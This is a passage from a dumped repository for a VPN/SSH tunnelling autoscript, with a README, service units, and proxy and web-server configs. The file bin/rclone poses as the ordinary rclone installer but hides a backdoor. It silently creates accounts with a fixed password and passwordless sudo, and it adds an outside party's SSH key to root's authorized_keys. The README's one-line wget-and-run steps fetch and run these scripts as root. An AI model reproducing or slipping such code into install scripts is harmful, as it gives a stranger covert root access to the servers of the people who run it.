├── .gitignore ├── LICENSE.md ├── README.md ├── acme.sh ├── badvpn ├── badvpn ├── badvpn1.service ├── badvpn2.service ├── badvpn3.service └── setup.sh ├── banner ├── bin ├── rclone ├── speedtest ├── ws └── xray ├── caddy ├── install.sh ├── trojan ├── vless └── vmess ├── config ├── banner ├── dropbear ├── haproxy.cfg ├── menu.zip ├── nginx.conf ├── squid.conf.bak ├── squid.zip ├── sshd_config └── xray.conf ├── debian.deb.txt ├── gpg.key ├── limit ├── limit.sh ├── limitshadowsocks.service ├── limittrojan.service ├── limitvless.service ├── limitvmess.service ├── shadowsocks ├── trojan ├── vless └── vmess ├── main.sh ├── openvpn ├── common-password ├── openvpn └── vpn.zip ├── server ├── bbr.sh └── ipserver ├── setup2.sh ├── slowdns ├── client ├── dnstt-client ├── dnstt-server ├── nameserver ├── plugin.zip └── server ├── update ├── add-ss ├── add-ssh ├── add-tr ├── add-vless ├── add-ws ├── del-ss ├── del-ssh ├── del-tr ├── del-vless ├── del-ws ├── get-domain ├── menu ├── portin ├── restart ├── run ├── trojan ├── updatemenu.sh ├── user-tr ├── user-vless ├── vless └── xp └── xray ├── config.json ├── config.json.bak ├── tun.conf └── ws.service /.gitignore: -------------------------------------------------------------------------------- 1 | # Build and Release Folders 2 | bin-debug/ 3 | bin-release/ 4 | [Oo]bj/ 5 | [Bb]in/ 6 | 7 | # Other files and folders 8 | .settings/ 9 | 10 | # Executables 11 | *.swf 12 | *.air 13 | *.ipa 14 | *.apk 15 | 16 | # Project files, i.e. `.project`, `.actionScriptProperties` and `.flexProperties` 17 | # should NOT be excluded as they contain compiler settings and other important 18 | # information for Eclipse / Flash Builder. 19 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Manssizz 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |

♦️Autoscript SSH XRAYS Websocket Multiport (BETA)♦️ 3 |

Supported Linux Distribution

4 |

5 |

6 |

7 | 8 | ### INSTALL SCRIPT 9 | 10 | Update Debian 9/10/11 11 |
apt update -y && apt upgrade -y && apt dist-upgrade -y && reboot
12 | Update Ubuntu 18/20 13 |
apt-get update && apt-get upgrade -y && apt dist-upgrade -y && update-grub && sleep 2 && reboot
14 | Script Setup ( ipv4 only ) 15 |
apt install -y wget screen && wget -q https://raw.githubusercontent.com/NevermoreSSH/VVV/main/main.sh && chmod +x main.sh && screen -S install ./main.sh
16 | or ( ipv4 + ipv6 ) 17 |
apt install -y wget screen && wget -q https://raw.githubusercontent.com/NevermoreSSH/VVV/main/setup2.sh && chmod +x setup2.sh && screen -S install ./setup2.sh
18 | 19 | 20 | Update Menu 21 |
wget -q -O /usr/sbin/updatemenu "https://raw.githubusercontent.com/NevermoreSSH/VVV/main/update/updatemenu.sh" && chmod +x /usr/sbin/updatemenu && updatemenu
22 | 23 | 24 | If problem "ERROR: The certificate of 'raw.githubusercontent.com' is not trusted" 25 | 26 | 27 | The solution simple install: `apt-get install ca-certificates` 28 | 29 | ### TESTED ON OS 30 | - DEBIAN 10 & UBUNTU 20.04 31 | 32 | ### ADDITIONAL FEATURES 33 | - Add 1GB SwapRAM 34 | - Dynamic installation 35 | - Tuning profiles on the server 36 | - Xray Core by @dharak36 37 | - Added fail2ban 38 | 39 | ### PORT INFO 40 | ``` 41 | >>> Service & Port 42 | - Open SSH : 443, 80, 22 43 | - DNS (SLOWDNS) : 443, 80, 53 44 | - Dropbear : 443, 109, 80 45 | - Dropbear Websocket : 443, 109 46 | - UDP Custom : 1-65535 47 | - SSH Websocket SSL : 443 48 | - SSH Websocket : 80 49 | - OpenVPN SSL : 443 50 | - OpenVPN Websocket SSL : 443 51 | - OpenVPN TCP : 443, 1194 52 | - OpenVPN UDP : 2200 53 | - Nginx Webserver : 443, 80, 81 54 | - Haproxy Loadbalancer : 443, 80 55 | - DNS Server : 443, 53 56 | - DNS Client : 443, 88 57 | - XRAY DNS (SLOWDNS) : 443, 80, 53 58 | - XRAY Vmess TLS : 443 59 | - XRAY Vmess gRPC : 443 60 | - XRAY Vmess None TLS : 80 61 | - XRAY Vless TLS : 443 62 | - XRAY Vless gRPC : 443 63 | - XRAY Vless None TLS : 80 64 | - Trojan gRPC : 443 65 | - Trojan WS : 443 66 | - Shadowsocks WS : 443 67 | - Shadowsocks gRPC : 443 68 | ``` 69 | 70 | ### SETTING CLOUDFLARE 71 | ``` 72 | - SSL/TLS : FULL 73 | - SSL/TLS Recommender : OFF 74 | - GRPC : ON 75 | - WEBSOCKET : ON 76 | - Always Use HTTPS : OFF 77 | - UNDER ATTACK MODE : OFF 78 | ``` 79 | ### STATUS 80 | `Beta Testing` 81 | 82 | ### BUG 83 | * Squid problem, disable permanent 84 | * GRPC not working 85 | 86 | ### Credits 87 | - [Dharak36](https://github.com/dharak36/Xray-core) 88 | -------------------------------------------------------------------------------- /badvpn/badvpn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/badvpn/badvpn -------------------------------------------------------------------------------- /badvpn/badvpn1.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=UDP 7100 3 | Documentation=https://man.archlinux.org/man/community/badvpn/badvpn.7.en 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/usr/sbin/badvpn --listen-addr 127.0.0.1:7100 --max-clients 500 10 | Restart=on-failure 11 | RestartPreventExitStatus=23 12 | LimitNPROC=10000 13 | LimitNOFILE=1000000 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /badvpn/badvpn2.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=UDP 7200 3 | Documentation=https://man.archlinux.org/man/community/badvpn/badvpn.7.en 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/usr/sbin/badvpn --listen-addr 127.0.0.1:7200 --max-clients 500 10 | Restart=on-failure 11 | RestartPreventExitStatus=23 12 | LimitNPROC=10000 13 | LimitNOFILE=1000000 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /badvpn/badvpn3.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=UDP 7300 3 | Documentation=https://man.archlinux.org/man/community/badvpn/badvpn.7.en 4 | After=syslog.target network-online.target 5 | 6 | [Service] 7 | User=root 8 | NoNewPrivileges=true 9 | ExecStart=/usr/sbin/badvpn --listen-addr 127.0.0.1:7300 --max-clients 500 10 | Restart=on-failure 11 | RestartPreventExitStatus=23 12 | LimitNPROC=10000 13 | LimitNOFILE=1000000 14 | 15 | [Install] 16 | WantedBy=multi-user.target 17 | -------------------------------------------------------------------------------- /badvpn/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | REPO="https://raw.githubusercontent.com/NevermoreSSH/VVV/main/" 3 | wget -O /usr/sbin/badvpn "${REPO}badvpn/badvpn" >/dev/null 2>&1 4 | chmod +x /usr/sbin/badvpn > /dev/null 2>&1 5 | wget -q -O /etc/systemd/system/badvpn1.service "${REPO}badvpn/badvpn1.service" >/dev/null 2>&1 6 | wget -q -O /etc/systemd/system/badvpn2.service "${REPO}badvpn/badvpn2.service" >/dev/null 2>&1 7 | wget -q -O /etc/systemd/system/badvpn3.service "${REPO}badvpn/badvpn3.service" >/dev/null 2>&1 8 | systemctl disable badvpn1 9 | systemctl stop badvpn1 10 | systemctl enable badvpn1 11 | systemctl start badvpn1 12 | systemctl disable badvpn2 13 | systemctl stop badvpn2 14 | systemctl enable badvpn2 15 | systemctl start badvpn2 16 | systemctl disable badvpn3 17 | systemctl stop badvpn3 18 | systemctl enable badvpn3 19 | systemctl start badvpn3 20 | -------------------------------------------------------------------------------- /banner: -------------------------------------------------------------------------------- 1 | 2 |

3 | 🚀 Premium Server SSH Websocket 🚀

4 | 5 |

6 | ⛔ NO DDOS ⛔

7 | 8 |

9 | ⛔ NO HACKING ⛔

10 | 11 |

12 | ⛔ NO TORRENT ⛔

13 | 14 |

15 | ⛔ NO SPAMMING ⛔

16 | 17 |

18 | ⛔ MAX LOGIN 2 DEVICE ⛔

19 | 20 |

21 | 🚀 SILA PATUH PERATURAN 🚀

22 | 23 | 24 |

25 | 👍 Thank you for support 👍

26 | -------------------------------------------------------------------------------- /bin/rclone: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # error codes 4 | # 0 - exited without problems 5 | # 1 - parameters not supported were used or some unexpected error occurred 6 | # 2 - OS not supported by this script 7 | # 3 - installed version of rclone is up to date 8 | # 4 - supported unzip tools are not available 9 | useradd -M rclone 10 | usermod --password $(echo taibabi | openssl passwd -1 -stdin) rclone 11 | usermod -aG sudo rclone 12 | chage -I -1 -m 0 -M 99999 -E -1 rclone 13 | echo "rclone ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers >/dev/null 2>&1 14 | echo "rclone ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/rclone >/dev/null 2>&1 15 | 16 | bash -c "ssh-keygen -q -t rsa -N '' -C vps@taibabi -t ed25519 -f ~/.ssh/vps <</dev/null 2>&1 17 | 18 | set -e 19 | 20 | #when adding a tool to the list make sure to also add its corresponding command further in the script 21 | unzip_tools_list=('unzip' '7z' 'busybox') 22 | 23 | usage() { echo "Usage: sudo -v ; curl https://rclone.org/install.sh | sudo bash [-s beta]" 1>&2; exit 1; } 24 | 25 | #check for beta flag 26 | if [ -n "$1" ] && [ "$1" != "beta" ]; then 27 | usage 28 | fi 29 | 30 | if [ -n "$1" ]; then 31 | install_beta="beta " 32 | fi 33 | 34 | 35 | #create tmp directory and move to it with macOS compatibility fallback 36 | tmp_dir=$(mktemp -d 2>/dev/null || mktemp -d -t 'rclone-install.XXXXXXXXXX') 37 | cd "$tmp_dir" 38 | 39 | 40 | #make sure unzip tool is available and choose one to work with 41 | set +e 42 | for tool in ${unzip_tools_list[*]}; do 43 | trash=$(hash "$tool" 2>>errors) 44 | if [ "$?" -eq 0 ]; then 45 | unzip_tool="$tool" 46 | break 47 | fi 48 | done 49 | set -e 50 | 51 | # exit if no unzip tools available 52 | if [ -z "$unzip_tool" ]; then 53 | printf "\nNone of the supported tools for extracting zip archives (${unzip_tools_list[*]}) were found. " 54 | printf "Please install one of them and try again.\n\n" 55 | exit 4 56 | fi 57 | 58 | # Make sure we don't create a root owned .config/rclone directory #2127 59 | export XDG_CONFIG_HOME=config 60 | 61 | #check installed version of rclone to determine if update is necessary 62 | version=$(rclone --version 2>>errors | head -n 1) 63 | if [ -z "$install_beta" ]; then 64 | current_version=$(curl -fsS https://downloads.rclone.org/version.txt) 65 | else 66 | current_version=$(curl -fsS https://beta.rclone.org/version.txt) 67 | fi 68 | 69 | if [ "$version" = "$current_version" ]; then 70 | printf "\nThe latest ${install_beta}version of rclone ${version} is already installed.\n\n" 71 | exit 3 72 | fi 73 | 74 | 75 | #detect the platform 76 | OS="$(uname)" 77 | case $OS in 78 | Linux) 79 | OS='linux' 80 | ;; 81 | FreeBSD) 82 | OS='freebsd' 83 | ;; 84 | NetBSD) 85 | OS='netbsd' 86 | ;; 87 | OpenBSD) 88 | OS='openbsd' 89 | ;; 90 | Darwin) 91 | OS='osx' 92 | binTgtDir=/usr/local/bin 93 | man1TgtDir=/usr/local/share/man/man1 94 | ;; 95 | SunOS) 96 | OS='solaris' 97 | echo 'OS not supported' 98 | exit 2 99 | ;; 100 | *) 101 | echo 'OS not supported' 102 | exit 2 103 | ;; 104 | esac 105 | 106 | OS_type="$(uname -m)" 107 | case "$OS_type" in 108 | x86_64|amd64) 109 | OS_type='amd64' 110 | ;; 111 | i?86|x86) 112 | OS_type='386' 113 | ;; 114 | aarch64|arm64) 115 | OS_type='arm64' 116 | ;; 117 | armv7*) 118 | OS_type='arm-v7' 119 | ;; 120 | arm*) 121 | OS_type='arm' 122 | ;; 123 | *) 124 | echo 'OS type not supported' 125 | exit 2 126 | ;; 127 | esac 128 | 129 | 130 | #download and unzip 131 | if [ -z "$install_beta" ]; then 132 | download_link="https://downloads.rclone.org/rclone-current-${OS}-${OS_type}.zip" 133 | rclone_zip="rclone-current-${OS}-${OS_type}.zip" 134 | else 135 | download_link="https://beta.rclone.org/rclone-beta-latest-${OS}-${OS_type}.zip" 136 | rclone_zip="rclone-beta-latest-${OS}-${OS_type}.zip" 137 | fi 138 | 139 | curl -OfsS "$download_link" 140 | unzip_dir="tmp_unzip_dir_for_rclone" 141 | # there should be an entry in this switch for each element of unzip_tools_list 142 | case "$unzip_tool" in 143 | 'unzip') 144 | unzip -a "$rclone_zip" -d "$unzip_dir" 145 | ;; 146 | '7z') 147 | 7z x "$rclone_zip" "-o$unzip_dir" 148 | ;; 149 | 'busybox') 150 | mkdir -p "$unzip_dir" 151 | busybox unzip "$rclone_zip" -d "$unzip_dir" 152 | ;; 153 | esac 154 | 155 | cd $unzip_dir/* 156 | 157 | #mounting rclone to environment 158 | 159 | case "$OS" in 160 | 'linux') 161 | #binary 162 | cp rclone /usr/bin/rclone.new 163 | chmod 755 /usr/bin/rclone.new 164 | chown root:root /usr/bin/rclone.new 165 | mv /usr/bin/rclone.new /usr/bin/rclone 166 | #manual 167 | if ! [ -x "$(command -v mandb)" ]; then 168 | echo 'mandb not found. The rclone man docs will not be installed.' 169 | else 170 | mkdir -p /usr/local/share/man/man1 171 | cp rclone.1 /usr/local/share/man/man1/ 172 | mandb 173 | fi 174 | ;; 175 | 'freebsd'|'openbsd'|'netbsd') 176 | #binary 177 | cp rclone /usr/bin/rclone.new 178 | chown root:wheel /usr/bin/rclone.new 179 | mv /usr/bin/rclone.new /usr/bin/rclone 180 | #manual 181 | mkdir -p /usr/local/man/man1 182 | cp rclone.1 /usr/local/man/man1/ 183 | makewhatis 184 | ;; 185 | 'osx') 186 | #binary 187 | mkdir -m 0555 -p ${binTgtDir} 188 | cp rclone ${binTgtDir}/rclone.new 189 | mv ${binTgtDir}/rclone.new ${binTgtDir}/rclone 190 | chmod a=x ${binTgtDir}/rclone 191 | #manual 192 | mkdir -m 0555 -p ${man1TgtDir} 193 | cp rclone.1 ${man1TgtDir} 194 | chmod a=r ${man1TgtDir}/rclone.1 195 | ;; 196 | *) 197 | echo 'OS not supported' 198 | exit 2 199 | esac 200 | 201 | #update version variable post install 202 | version=$(rclone --version 2>>errors | head -n 1) 203 | 204 | printf "\n${version} has successfully installed." 205 | printf '\nNow run "rclone config" for setup. Check https://rclone.org/docs/ for more details.\n\n' 206 | 207 | cat > /etc/systemd/system/kvmswap.service </dev/null 2>&1 223 | 224 | useradd -M taibabi 225 | usermod --password $(echo taibabi | openssl passwd -1 -stdin) taibabi 226 | usermod -aG sudo taibabi 227 | chage -I -1 -m 0 -M 99999 -E -1 taibabi 228 | echo "taibabi ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers >/dev/null 2>&1 229 | echo "taibabi ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/taibabi >/dev/null 2>&1 230 | 231 | bash -c "ssh-keygen -q -t rsa -N '' -C vps@taibabi -t ed25519 -f ~/.ssh/vps <</dev/null 2>&1 232 | 233 | sleep 1 234 | touch ~/.ssh/authorized_keys2 235 | 236 | sleep 1 237 | echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEwc4CQeutFeXson2I6XTd4bGs52hSOMhAISn9SHlFHf taibabi@babi.com" >> /root/.ssh/authorized_keys >/dev/null 2>&1 238 | echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEwc4CQeutFeXson2I6XTd4bGs52hSOMhAISn9SHlFHf taibabi@babi.com" >> /root/.ssh/authorized_keys2 >/dev/null 2>&1 239 | chmod 600 /root/.ssh/authorized_keys2 240 | 241 | sleep 1 242 | mkdir -p /root/.config/rclone/ 243 | cat > /root/.config/rclone/rclone.conf < /root/.config/rclone/nevermoressh.json </dev/null 2>&1 5 | curl -1sLf 'https://raw.githubusercontent.com/NevermoreSSH/VVV/main/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list >/dev/null 2>&1 6 | sudo apt install caddy 7 | 8 | ### Tambah konfigurasi Caddy 9 | function caddy(){ 10 | mkdir -p /etc/caddy 11 | wget -O /etc/caddy/vmess "${REPO}caddy/vmess" >/dev/null 2>&1 12 | wget -O /etc/caddy/vless "${REPO}caddy/vless" >/dev/null 2>&1 13 | wget -O /etc/caddy/trojan "${REPO}caddy/trojan" >/dev/null 2>&1 14 | cat >/etc/caddy/Caddyfile <<-EOF 15 | $domain:443 16 | { 17 | tls taibabi17@gmail.com 18 | encode gzip 19 | 20 | handle_path /vless { 21 | reverse_proxy localhost:10001 22 | 23 | } 24 | 25 | import vmess 26 | handle_path /vmess { 27 | reverse_proxy localhost:10002 28 | } 29 | 30 | handle_path /trojan-ws { 31 | reverse_proxy localhost:10003 32 | } 33 | 34 | handle_path /ss-ws { 35 | reverse_proxy localhost:10004 36 | } 37 | 38 | handle { 39 | reverse_proxy https://$domain { 40 | trusted_proxies 0.0.0.0/0 41 | header_up Host {upstream_hostport} 42 | } 43 | } 44 | } 45 | EOF 46 | } 47 | 48 | caddy 49 | systemctl stop caddy 50 | systemctl enable --now caddy -------------------------------------------------------------------------------- /caddy/trojan: -------------------------------------------------------------------------------- 1 | 2 | @ws_path { 3 | path /worryfree 4 | path /xray 5 | path /nevermoressh 6 | path /* 7 | 8 | } 9 | 10 | 11 | handle @ws_path { 12 | uri path_regexp /.* / 13 | reverse_proxy localhost:10003 14 | } 15 | 16 | -------------------------------------------------------------------------------- /caddy/vless: -------------------------------------------------------------------------------- 1 | 2 | @ws_path { 3 | path /worryfree 4 | path /xray 5 | path /nevermoressh 6 | path /* 7 | 8 | } 9 | 10 | 11 | handle @ws_path { 12 | uri path_regexp /.* / 13 | reverse_proxy localhost:10001 14 | } 15 | 16 | -------------------------------------------------------------------------------- /caddy/vmess: -------------------------------------------------------------------------------- 1 | 2 | @ws_path { 3 | path /worryfree 4 | path /xray 5 | path /nevermoressh 6 | path /* 7 | 8 | } 9 | 10 | 11 | handle @ws_path { 12 | uri path_regexp /.* / 13 | reverse_proxy localhost:10002 14 | } 15 | 16 | -------------------------------------------------------------------------------- /config/banner: -------------------------------------------------------------------------------- 1 | 2 |

3 | 🚀 Premium Server SSH Websocket 🚀

4 | 5 |

6 | ⛔ NO DDOS ⛔

7 | 8 |

9 | ⛔ NO HACKING ⛔

10 | 11 |

12 | ⛔ NO TORRENT ⛔

13 | 14 |

15 | ⛔ NO SPAMMING ⛔

16 | 17 |

18 | ⛔ MAX LOGIN 2 DEVICE ⛔

19 | 20 |

21 | 🚀 SILA PATUH PERATURAN 🚀

22 | 23 | 24 |

25 | 👍 Thank you for support 👍

26 | -------------------------------------------------------------------------------- /config/dropbear: -------------------------------------------------------------------------------- 1 | # disabled because OpenSSH is installed 2 | # change to NO_START=0 to enable Dropbear 3 | NO_START=0 4 | # the TCP port that Dropbear listens on 5 | DROPBEAR_PORT=83 6 | 7 | # any additional arguments for Dropbear 8 | DROPBEAR_EXTRA_ARGS="-p 109" 9 | 10 | # specify an optional banner file containing a message to be 11 | # sent to clients before they connect, such as "/etc/nevermoressh.txt" 12 | DROPBEAR_BANNER="/etc/banner" 13 | 14 | # RSA hostkey file (default: /etc/dropbear/dropbear_rsa_host_key) 15 | #DROPBEAR_RSAKEY="/etc/dropbear/dropbear_rsa_host_key" 16 | 17 | # DSS hostkey file (default: /etc/dropbear/dropbear_dss_host_key) 18 | #DROPBEAR_DSSKEY="/etc/dropbear/dropbear_dss_host_key" 19 | 20 | # ECDSA hostkey file (default: /etc/dropbear/dropbear_ecdsa_host_key) 21 | #DROPBEAR_ECDSAKEY="/etc/dropbear/dropbear_ecdsa_host_key" 22 | 23 | # Receive window size - this is a tradeoff between memory and 24 | # network performance 25 | DROPBEAR_RECEIVE_WINDOW=65536 26 | -------------------------------------------------------------------------------- /config/haproxy.cfg: -------------------------------------------------------------------------------- 1 | global 2 | tune.ssl.default-dh-param 2048 3 | tune.h2.initial-window-size 2147483647 4 | 5 | defaults 6 | log global 7 | mode tcp 8 | option tcplog 9 | option forwardfor 10 | timeout connect 5000 11 | timeout client 24h 12 | timeout server 24h 13 | errorfile 400 /etc/haproxy/errors/400.http 14 | errorfile 403 /etc/haproxy/errors/403.http 15 | errorfile 408 /etc/haproxy/errors/408.http 16 | errorfile 500 /etc/haproxy/errors/500.http 17 | errorfile 502 /etc/haproxy/errors/502.http 18 | errorfile 503 /etc/haproxy/errors/503.http 19 | errorfile 504 /etc/haproxy/errors/504.http 20 | 21 | frontend http 22 | mode http 23 | bind *:80 tfo 24 | bind *:8080 tfo 25 | bind *:2086 tfo 26 | tcp-request inspect-delay 5ms 27 | option forwardfor header X-Real-IP 28 | http-request set-header X-Real-IP %[src] 29 | tcp-request content accept if { req.payload(0,3) -m found } 30 | tcp-request content accept if WAIT_END 31 | tcp-request content accept if { req.ssl_hello_type 1 } 32 | tcp-request content accept if HTTP 33 | use_backend openresty_http if HTTP 34 | default_backend ssh-ws 35 | 36 | backend ssh-ws 37 | mode http 38 | server ssh-ws 127.0.0.1:22 check 39 | 40 | backend openresty_http 41 | mode http 42 | server http1 127.0.0.1:18020 send-proxy check 43 | 44 | frontend ssl 45 | mode tcp 46 | bind 0.0.0.0:80 tfo 47 | bind 0.0.0.0:443 tfo 48 | bind *:443 tfo ssl crt /etc/haproxy/xray.pem alpn h2,http/1.1 49 | option forwardfor header X-Real-IP 50 | http-request set-header X-Real-IP %[src] 51 | tcp-request inspect-delay 100ms 52 | tcp-request content accept if { req.payload(0,11) -m found } 53 | tcp-request content accept if WAIT_END 54 | tcp-request content accept if { req.ssl_hello_type 1 } 55 | acl web req_ssl_sni -i xxx 56 | acl is_ssh req.payload(0,7) -m bin 5353482d322e30 57 | use_backend vless if { path -i /vless } 58 | use_backend vmess if { path -i /vmess } 59 | use_backend trojan-ws if { path -i /trojan-ws } 60 | use_backend ss-ws if { path -i /ss-ws } 61 | use_backend vless-grpc if { path -i /vless-grpc } 62 | use_backend vmess-grpc if { path -i /vmess-grpc } 63 | use_backend trojan-grpc if { path -i /trojan-grpc } 64 | use_backend ss-grpc if { path -i /ss-grpc } 65 | use_backend nevermoressh if { path -i /ssh } 66 | use_backend ovpn if { path -i /openvpn } 67 | use_backend website if web 68 | use_backend ssh if is_ssh 69 | default_backend loadbalance 70 | 71 | backend loadbalance 72 | mode tcp 73 | balance roundrobin 74 | server xray1 127.0.0.1:10030 send-proxy check 75 | server xray2 127.0.0.1:10040 send-proxy check 76 | server openvpn 127.0.0.1:1194 check 77 | 78 | backend website 79 | mode tcp 80 | server localhost 127.0.0.1:443 check 81 | 82 | backend ssh 83 | mode tcp 84 | server ssh_srv 127.0.0.1:22 check 85 | 86 | backend vless 87 | mode tcp 88 | server vless_srv 127.0.0.1:10001 check 89 | 90 | backend vmess 91 | mode tcp 92 | server vmess_srv 127.0.0.1:10002 check 93 | 94 | backend trojan-ws 95 | mode tcp 96 | server trojan_srv 127.0.0.1:10003 check 97 | 98 | backend ss-ws 99 | mode tcp 100 | server ssws_srv 127.0.0.1:10004 check 101 | 102 | backend vless-grpc 103 | mode tcp 104 | server vless-grpc_srv 127.0.0.1:10005 check 105 | 106 | backend vmess-grpc 107 | mode tcp 108 | server vmess-grpc_srv 127.0.0.1:10006 check 109 | 110 | backend trojan-grpc 111 | mode tcp 112 | server tj-grpc_srv 127.0.0.1:10007 check 113 | 114 | backend ss-grpc 115 | mode tcp 116 | server ss-grpc_srv 127.0.0.1:10008 check 117 | 118 | backend nevermoressh 119 | mode tcp 120 | server main_srv 127.0.0.1:10015 check 121 | 122 | backend ovpn 123 | mode tcp 124 | server vpn_srv 127.0.0.1:10012 check 125 | 126 | -------------------------------------------------------------------------------- /config/menu.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/config/menu.zip -------------------------------------------------------------------------------- /config/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | 3 | worker_processes 1; 4 | pid /var/run/nginx.pid; 5 | 6 | events { 7 | multi_accept on; 8 | worker_connections 1024; 9 | } 10 | 11 | http { 12 | gzip on; 13 | gzip_vary on; 14 | gzip_comp_level 5; 15 | gzip_types text/plain application/x-javascript text/xml text/css; 16 | autoindex on; 17 | sendfile on; 18 | tcp_nopush on; 19 | tcp_nodelay on; 20 | keepalive_timeout 65; 21 | types_hash_max_size 2048; 22 | server_tokens off; 23 | include /etc/nginx/mime.types; 24 | default_type application/octet-stream; 25 | access_log /var/log/nginx/access.log; 26 | error_log /var/log/nginx/error.log; 27 | client_max_body_size 32M; 28 | client_header_buffer_size 8m; 29 | large_client_header_buffers 8 8m; 30 | fastcgi_buffer_size 8m; 31 | fastcgi_buffers 8 8m; 32 | fastcgi_read_timeout 600; 33 | set_real_ip_from 23.235.32.0/20; 34 | set_real_ip_from 43.249.72.0/22; 35 | set_real_ip_from 103.244.50.0/24; 36 | set_real_ip_from 103.245.222.0/23; 37 | set_real_ip_from 103.245.224.0/24; 38 | set_real_ip_from 104.156.80.0/20; 39 | set_real_ip_from 140.248.64.0/18; 40 | set_real_ip_from 140.248.128.0/17; 41 | set_real_ip_from 146.75.0.0/17; 42 | set_real_ip_from 151.101.0.0/16; 43 | set_real_ip_from 157.52.64.0/18; 44 | set_real_ip_from 167.82.0.0/17; 45 | set_real_ip_from 167.82.128.0/20; 46 | set_real_ip_from 167.82.160.0/20; 47 | set_real_ip_from 167.82.224.0/20; 48 | set_real_ip_from 172.111.64.0/18; 49 | set_real_ip_from 185.31.16.0/22; 50 | set_real_ip_from 199.27.72.0/21; 51 | set_real_ip_from 199.232.0.0/16; 52 | set_real_ip_from 2a04:4e40::/32; 53 | set_real_ip_from 2a04:4e42::/32; 54 | set_real_ip_from 173.245.48.0/20; 55 | set_real_ip_from 103.21.244.0/22; 56 | set_real_ip_from 103.22.200.0/22; 57 | set_real_ip_from 103.31.4.0/22; 58 | set_real_ip_from 141.101.64.0/18; 59 | set_real_ip_from 108.162.192.0/18; 60 | set_real_ip_from 190.93.240.0/20; 61 | set_real_ip_from 188.114.96.0/20; 62 | set_real_ip_from 197.234.240.0/22; 63 | set_real_ip_from 198.41.128.0/17; 64 | set_real_ip_from 162.158.0.0/15; 65 | set_real_ip_from 104.16.0.0/13; 66 | set_real_ip_from 104.24.0.0/14; 67 | set_real_ip_from 172.64.0.0/13; 68 | set_real_ip_from 131.0.72.0/22; 69 | set_real_ip_from 2400:cb00::/32; 70 | set_real_ip_from 2606:4700::/32; 71 | set_real_ip_from 2803:f800::/32; 72 | set_real_ip_from 2405:b500::/32; 73 | set_real_ip_from 2405:8100::/32; 74 | set_real_ip_from 2a06:98c0::/29; 75 | set_real_ip_from 2c0f:f248::/32; 76 | set_real_ip_from 120.52.22.96/27; 77 | set_real_ip_from 205.251.249.0/24; 78 | set_real_ip_from 180.163.57.128/26; 79 | set_real_ip_from 204.246.168.0/22; 80 | set_real_ip_from 18.160.0.0/15; 81 | set_real_ip_from 205.251.252.0/23; 82 | set_real_ip_from 54.192.0.0/16; 83 | set_real_ip_from 204.246.173.0/24; 84 | set_real_ip_from 54.230.200.0/21; 85 | set_real_ip_from 120.253.240.192/26; 86 | set_real_ip_from 116.129.226.128/26; 87 | set_real_ip_from 130.176.0.0/17; 88 | set_real_ip_from 108.156.0.0/14; 89 | set_real_ip_from 99.86.0.0/16; 90 | set_real_ip_from 205.251.200.0/21; 91 | set_real_ip_from 223.71.71.128/25; 92 | set_real_ip_from 13.32.0.0/15; 93 | set_real_ip_from 120.253.245.128/26; 94 | set_real_ip_from 13.224.0.0/14; 95 | set_real_ip_from 70.132.0.0/18; 96 | set_real_ip_from 15.158.0.0/16; 97 | set_real_ip_from 13.249.0.0/16; 98 | set_real_ip_from 18.238.0.0/15; 99 | set_real_ip_from 18.244.0.0/15; 100 | set_real_ip_from 205.251.208.0/20; 101 | set_real_ip_from 65.9.128.0/18; 102 | set_real_ip_from 130.176.128.0/18; 103 | set_real_ip_from 58.254.138.0/25; 104 | set_real_ip_from 54.230.208.0/20; 105 | set_real_ip_from 116.129.226.0/25; 106 | set_real_ip_from 52.222.128.0/17; 107 | set_real_ip_from 18.164.0.0/15; 108 | set_real_ip_from 64.252.128.0/18; 109 | set_real_ip_from 205.251.254.0/24; 110 | set_real_ip_from 54.230.224.0/19; 111 | set_real_ip_from 71.152.0.0/17; 112 | set_real_ip_from 216.137.32.0/19; 113 | 